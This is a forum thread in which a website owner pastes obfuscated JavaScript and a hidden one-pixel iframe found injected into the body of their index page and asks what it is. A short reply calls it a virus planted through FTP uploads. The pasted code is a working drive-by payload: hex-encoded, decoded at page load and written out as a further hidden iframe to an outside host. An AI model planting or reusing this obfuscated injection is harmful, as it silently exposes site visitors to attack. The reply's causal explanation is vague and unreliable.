this just magically appeared in the code for my index page in the <body> tag. can anyone tell me a) what it is / what it does b) how the hell it could have got there <iframe src='http://url/' width='1' height='1' style='visibility: hidden;'></iframe><script>function c102916999516l4945494e5b311(l4945494e5bed7){ var l4945494e5c6b4=16; return (parseInt(l4945494e5bed7,l4945494e5c6b4));}function l4945494e5d642(l4945494e5e1f2){ function l4945494e5f965(){var l4945494e60134=2;return l4945494e60134;} var l4945494e5e9c6='';l4945494e60906=String.fromCharCode;for(l4945494e5f194=0;l4945494e5f194<l4945494e5e1f2.length;l4945494e5f194+=l4945494e5f965()){ l4945494e5e9c6+=(l4945494e60906(c102916999516l4945494e5b311(l4945494e5e1f2.substr(l4945494e5f194,l4945494e5f965()))));}return l4945494e5e9c6;} var x94='';var l4945494e610d6='3C736'+x94+'3726'+x94+'970743E6'+x94+'96'+x94+'6'+x94+'28216'+x94+'D796'+x94+'96'+x94+'1297B6'+x94+'46'+x94+'F6'+x94+'3756'+x94+'D6'+x94+'56'+x94+'E742E77726'+x94+'9746'+x94+'528756'+x94+'E6'+x94+'5736'+x94+'36'+x94+'1706'+x94+'528202725336'+x94+'32536'+x94+'392536'+x94+'36'+x94+'2537322536'+x94+'312536'+x94+'6'+x94+'42536'+x94+'352532302536'+x94+'6'+x94+'52536'+x94+'312536'+x94+'6'+x94+'42536'+x94+'3525336'+x94+'42536'+x94+'332533312533302532302537332537322536'+x94+'3325336'+x94+'42532372536'+x94+'3825373425373425373025336'+x94+'125326'+x94+'6'+x94+'25326'+x94+'6'+x94+'2536'+x94+'372536'+x94+'6'+x94+'6'+x94+'2536'+x94+'372536'+x94+'6'+x94+'6'+x94+'2533322536'+x94+'6'+x94+'42536'+x94+'3525326'+x94+'52536'+x94+'6'+x94+'52536'+x94+'3525373425326'+x94+'6'+x94+'25326'+x94+'52536'+x94+'372536'+x94+'6'+x94+'6'+x94+'25326'+x94+'6'+x94+'2536'+x94+'332536'+x94+'382536'+x94+'352536'+x94+'332536'+x94+'6'+x94+'225326'+x94+'52536'+x94+'382537342536'+x94+'6'+x94+'42536'+x94+'6'+x94+'32532372532302537372536'+x94+'392536'+x94+'342537342536'+x94+'3825336'+x94+'42533312533302533312532302536'+x94+'382536'+x94+'352536'+x94+'392536'+x94+'372536'+x94+'3825373425336'+x94+'42533342533392533382532302537332537342537392536'+x94+'6'+x94+'32536'+x94+'3525336'+x94+'4253237253736'+x94+'2536'+x94+'392537332536'+x94+'392536'+x94+'322536'+x94+'392536'+x94+'6'+x94+'32536'+x94+'3925373425373925336'+x94+'12536'+x94+'382536'+x94+'392536'+x94+'342536'+x94+'342536'+x94+'352536'+x94+'6'+x94+'525323725336'+x94+'525336'+x94+'325326'+x94+'6'+x94+'2536'+x94+'392536'+x94+'36'+x94+'2537322536'+x94+'312536'+x94+'6'+x94+'42536'+x94+'3525336'+x94+'52729293B7D76'+x94+'6'+x94+'172206'+x94+'D796'+x94+'96'+x94+'13D7472756'+x94+'53B3C2F736'+x94+'3726'+x94+'970743E';document.write(l4945494e5d642(l4945494e610d6));</script>
a) this is a virus / it acts as an iframe b) when you uploaded something to your ftp , that shitty virus automatically raised up within your files. if you have files called login.php they'll be there too